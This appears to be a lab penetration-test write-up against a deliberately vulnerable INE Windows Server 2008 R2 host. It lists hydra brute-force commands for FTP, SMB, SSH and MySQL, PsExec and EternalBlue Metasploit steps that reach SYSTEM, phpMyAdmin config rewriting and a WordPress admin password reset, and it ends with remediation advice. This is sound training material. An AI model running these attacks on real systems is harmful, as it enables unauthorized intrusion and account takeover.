Black Box Penetration Test - Windows

Classification: Host & Network Penetration Testing / Exploitation
Target: demo.ine.local — VAGRANT-2008R2, Windows Server 2008 R2 (6.1 Build 7601 SP1)
Attacker: Kali (MSF)

The lab IP changed between sessions (10.2.31.69, 10.2.29.212); the methodology is identical. Common credential across services: vagrant:vagrant / administrator:vagrant.

1. Executive Summary

A black-box assessment of a deliberately-vulnerable Windows Server 2008 R2 host exposing a large stack (IIS FTP, GlassFish, Elasticsearch, Jenkins, WampServer with WordPress + phpMyAdmin, SMB, OpenSSH, MySQL). After full enumeration, multiple compromise paths are shown — the most direct being SMB brute-force + PsExec and the EternalBlue (MS17-010) exploit, both landing NT AUTHORITY\SYSTEM — followed by database/web post-exploitation (phpMyAdmin config rewrite and WordPress admin takeover).

2. Enumeration

ping -c 4 demo.ine.local
db_nmap -sS -sU -p- --open -Pn -n <target>
hosts ; services

Default scripts against the first 10,000 ports, then manually probing interesting ones.

db_nmap -sV -sC -p1-10000 <target>

• HTTP on 80 (static site with an image)
• GlassFish admin on 4848, status on 8080
• Elasticsearch API on 9200
• Jenkins on 8484
• WampServer on 8585 → WordPress + phpMyAdmin

Importing the Nmap XML into MSF, then fingerprinting SMB.

db_import scan.xml
use auxiliary/scanner/smb/smb_version

3. Microsoft IIS FTP

IIS FTP often shares the web root with the IIS site.

db_nmap -sV -sC -p21 <target>

Anonymous login is not allowed.

Brute-forcing the FTP service.

hydra -L users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt <target> ftp

vagrant:vagrant | administrator:vagrant

The site executes ASP, so we try an ASP reverse shell (often blocked by the host’s protections).

As a lower-impact demonstration, we download and modify index.html (web-root write via FTP).

4. OpenSSH

db_nmap -sV -sC -p22 <target>
searchsploit openssh <version>

Brute-forcing SSH.

Here the administrator account does not reuse the earlier password, and the SSH session is not upgradeable with -u.

5. SMB → SYSTEM

db_nmap -sV -sC -p445 <target>

Brute-forcing SMB recovers administrator:vagrant and vagrant:vagrant.

hydra -l administrator -P /usr/share/wordlists/metasploit/unix_passwords.txt <target> smb
hydra -l vagrant -P /usr/share/wordlists/metasploit/unix_passwords.txt <target> smb

Enumerating shares and users.

smbmap -H <target> -u administrator -p vagrant
enum4linux -a <target>

Path A — PsExec

psexec.py administrator:vagrant@<target>

use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass vagrant
exploit

Path B — EternalBlue (MS17-010)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
exploit
getuid      # NT AUTHORITY\SYSTEM

The exploit lands a SYSTEM session on VAGRANT-2008R2.

6. MySQL & Web Post-Exploitation

db_nmap -sV -sC -p3306 <target>
searchsploit mysql 5.5

Brute-forcing MySQL.

phpMyAdmin is locally restricted, so via the Meterpreter session we rewrite alias/phpmyadmin.conf to allow our access.

Restarting the Wamp service to apply it.

With phpMyAdmin access we edit the WordPress wp_users table, setting the admin password to a known value.

Then log into WordPress with the new password.

7. Remediation Recommendations

1. Patch MS17-010 (EternalBlue) and retire end-of-life Windows Server 2008 R2.
2. Change all default/shared credentials (vagrant:vagrant) and enforce strong, unique passwords with lockout; use LAPS for local admin.
3. Reduce the attack surface — don’t co-host GlassFish, Jenkins, Elasticsearch, WAMP, phpMyAdmin and MySQL on one internet-facing box; restrict admin panels to localhost/VPN.
4. Harden SMB (signing, disable SMBv1), separate FTP from the web root, and keep MySQL/WordPress patched with least-privilege DB accounts.